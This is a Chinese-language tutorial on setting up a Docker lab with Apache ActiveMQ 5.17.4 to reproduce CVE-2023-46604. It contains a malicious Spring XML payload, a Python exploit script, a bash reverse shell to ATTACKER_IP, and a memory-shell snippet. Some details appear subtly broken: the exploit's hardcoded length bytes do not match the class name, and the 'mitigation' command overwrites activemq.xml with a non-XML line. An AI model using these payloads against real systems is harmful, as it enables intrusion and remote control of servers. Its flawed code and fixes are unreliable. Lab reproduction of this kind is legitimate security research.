Apache ActiveMQ 5.17.4 漏洞环境一键搭建:Docker Compose 3步复现 CVE-2023-46604
消息中间件在现代分布式系统中扮演着关键角色,而Apache ActiveMQ作为其中广泛应用的开源解决方案,其安全性直接关系到企业数据流转的可靠性。2023年曝光的CVE-2023-46604漏洞因其远程代码执行的高危特性,迅速成为安全研究的热点。本文将提供一种基于Docker的极简复现方案,帮助安全从业者在隔离环境中快速验证漏洞影响。
1. 漏洞背景与技术原理
CVE-2023-46604本质是OpenWire协议中的反序列化缺陷,当攻击者向61616端口发送特制数据包时,可触发Spring框架的XML外部实体处理机制。关键点在于:
- 协议层缺陷:OpenWire未对序列化类名进行严格校验
- 利用链构造:通过
ClassPathXmlApplicationContext加载远程恶意配置 - 执行上下文:ActiveMQ服务进程权限(通常为root或activemq用户)
受影响版本包括:
| 主版本号 | 安全修复版本 |
|---|---|
| 5.18.x | >= 5.18.3 |
| 5.17.x | >= 5.17.6 |
| 5.16.x | >= 5.16.7 |
| <5.15.x | >= 5.15.16 |
注:该漏洞利用不依赖Web管理界面(8161端口),仅需TCP端口可达
2. 环境搭建准备
传统漏洞复现方式需要手动安装Java环境、下载特定版本ActiveMQ并配置系统服务,过程繁琐且易出错。我们采用容器化方案解决以下痛点:
- 依赖隔离:避免与宿主机Java环境冲突
- 快速重置:秒级重建原始漏洞环境
- 网络控制:限制容器网络暴露范围
所需工具:
- Docker Engine >= 20.10
- docker-compose >= 1.29
- curl(用于验证服务状态)
3. 一键部署漏洞环境
3.1 编写docker-compose.yml
创建以下编排文件,特别注意ACTIVEMQ_VERSION和端口映射:
version: '3.8' services: activemq: image: apache/activemq:5.17.4 container_name: activemq-rce ports: - "61616:61616" - "8161:8161" environment: - ACTIVEMQ_ADMIN_LOGIN=admin - ACTIVEMQ_ADMIN_PASSWORD=admin healthcheck: test: ["CMD", "curl", "-f", "http://localhost:8161"] interval: 10s timeout: 5s retries: 3关键参数说明:
- image:精确指定存在漏洞的5.17.4版本
- ports:暴露61616(漏洞端口)和8161(管理界面)
- healthcheck:自动检测服务可用性
3.2 启动容器集群
执行以下命令完成部署:
# 拉取镜像并启动服务 docker-compose up -d # 验证容器状态(应显示healthy) docker ps --filter "name=activemq-rce" --format "table {{.Names}}\t{{.Status}}"预期输出:
NAMES STATUS activemq-rce Up 2 minutes (healthy)3.3 验证基础服务
通过管理界面确认ActiveMQ正常运行:
# 获取管理界面访问URL(替换实际IP) echo "管理地址:http://$(hostname -I | awk '{print $1}'):8161"登录凭证:
- 用户名:admin
- 密码:admin
4. 漏洞验证与利用
4.1 准备攻击载荷
创建恶意XML配置文件poc.xml:
<?xml version="1.0" encoding="UTF-8"?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="payload" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg> <list> <value>touch</value> <value>/tmp/rce_success</value> </list> </constructor-arg> </bean> </beans>启动临时HTTP服务托管该文件:
python3 -m http.server 88884.2 执行漏洞利用
使用以下Python脚本发起攻击(需替换YOUR_IP):
import socket target = '127.0.0.1' port = 61616 xml_url = 'http://YOUR_IP:8888/poc.xml' payload = ( b"\x00\x00\x00\x1f" # Frame size b"\x01" # Data type: ExceptionResponse b"\x00\x00\x00\x01" # CorrelationId b"\x01" # ResponseRequired b"\x01" # ClassName present b"\x00\x00\x00\x2d" # ClassName length b"org.springframework.context.support.ClassPathXmlApplicationContext" b"\x01" # Message present b"\x00\x00\x00" + bytes([len(xml_url)]) + xml_url.encode() ) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target, port)) sock.send(payload) sock.close()4.3 验证执行结果
进入容器检查命令是否执行:
docker exec activemq-rce ls -la /tmp/rce_success成功执行后将显示:
-rw-r--r-- 1 root root 0 May 15 10:30 /tmp/rce_success5. 高级利用技巧
5.1 反弹Shell配置
修改poc.xml实现交互式访问:
<bean id="reverse_shell" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg> <list> <value>bash</value> <value>-c</value> <value>bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1</value> </list> </constructor-arg> </bean>5.2 内存马注入
通过Java反射实现无文件驻留:
<bean class="org.springframework.beans.factory.config.MethodInvokingFactoryBean"> <property name="targetClass" value="java.lang.Class"/> <property name="targetMethod" value="forName"/> <property name="arguments" value="javax.script.ScriptEngineManager"/> </bean>5.3 网络隔离方案
限制容器网络暴露,增强安全性:
# 在docker-compose.yml中添加 networks: internal: driver: bridge internal: true6. 防御与修复建议
6.1 临时缓解措施
# 防火墙立即阻断61616端口 sudo iptables -A INPUT -p tcp --dport 61616 -j DROP # 修改ActiveMQ配置限制访问 echo "transportConnectors=stomp+nio://0.0.0.0:61613" > conf/activemq.xml6.2 终极解决方案
升级到安全版本:
# 修改docker-compose.yml中的image标签 image: apache/activemq:5.17.6版本选择建议:
- 生产环境:5.18.3+
- 旧版迁移:5.16.7+
7. 研究价值延伸
该漏洞为研究Java反序列化提供了典型样本,建议进一步探索:
- OpenWire协议逆向分析
- Spring框架XML处理机制
- 容器化漏洞靶场的自动化构建
在实验结束后,使用以下命令彻底清理环境:
docker-compose down --volumes rm -f poc.xml